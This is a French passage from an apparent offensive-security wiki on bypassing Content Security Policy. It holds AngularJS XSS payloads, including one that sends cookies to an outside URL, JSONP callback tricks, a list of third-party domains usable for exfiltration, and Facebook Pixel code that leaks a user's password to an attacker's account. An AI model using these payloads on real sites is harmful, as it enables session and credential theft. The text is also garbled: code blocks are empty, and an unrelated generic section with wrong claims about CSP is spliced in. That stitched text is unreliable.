{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
```
Plus de [**payloads de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
```
### Points de terminaison tiers + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Les scénarios comme celui où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail:
```markup
">
">
```
```html
https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des points de terminaison JSONP prêts à l'emploi pour contourner la CSP de différents sites web.**
La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est de confiance, les redirections sont de confiance.
### Abus de tiers
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour soit exfiltrer des données soit exécuter du code JavaScript. Certains de ces tiers sont :
| Entité | Domaine Autorisé | Capacités |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Si vous trouvez l'un des domaines autorisés dans la CSP de votre cible, il est probable que vous puissiez contourner la CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.
Par exemple, si vous trouvez la CSP suivante:
```
Content-Security-Policy: default-src 'self’ www.facebook.com;
```
# Contournement de la politique de sécurité du contenu (CSP)
---
## Contournement de la CSP basique
La CSP basique peut être contournée de différentes manières, notamment en exploitant des vulnérabilités telles que les injections de scripts, les attaques de type XSS, les attaques de type CSRF, etc. Voici quelques techniques courantes pour contourner la CSP :
- **Utilisation de scripts internes** : Si le site autorise l'exécution de scripts internes, il est possible d'insérer du code malveillant directement dans le code source de la page.
- **Utilisation de scripts inline** : Les scripts inline peuvent contourner la CSP en étant directement inclus dans les balises HTML.
- **Utilisation de l'entête unsafe-inline** : L'entête `unsafe-inline` peut être utilisé pour autoriser l'exécution de scripts inline, contournant ainsi la CSP.
- **Utilisation de l'entête unsafe-eval** : L'entête `unsafe-eval` peut être utilisé pour autoriser l'évaluation de code JavaScript dynamique, contournant ainsi la CSP.
Il est important de noter que ces techniques peuvent présenter des risques de sécurité et ne doivent être utilisées qu'à des fins éducatives ou de test autorisées.
```
Content-Security-Policy: connect-src www.facebook.com;
```
Vous devriez être capable d'exfiltrer des données, de la même manière que cela a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, suivez ces étapes générales :
1. Créez un compte développeur Facebook ici.
2. Créez une nouvelle application "Facebook Login" et sélectionnez "Site web".
3. Allez dans "Paramètres -> Général" et obtenez votre "ID d'application".
4. Sur le site cible dont vous souhaitez exfiltrer des données, vous pouvez le faire directement en utilisant le gadget SDK Facebook "fbq" via un "customEvent" et la charge utile de données.
5. Allez dans le "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'ID d'application de l'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### Contournement via RPO (Relative Path Overwrite)
En plus de la redirection mentionnée pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
Par exemple, si CSP autorise le chemin `https://example.com/scripts/react/`, il peut être contourné de la manière suivante:
```html
```
Le navigateur chargera finalement `https://example.com/scripts/angular/angular.js`.
Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP.
Ainsi, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
En **exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
La solution est de ne pas traiter `%2f` comme `/` côté serveur, assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Exécution de JS via des iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### **base-uri** manquant
Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/).
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `
ng-app"ng-csp ng-click=$event.view.alert(1337)>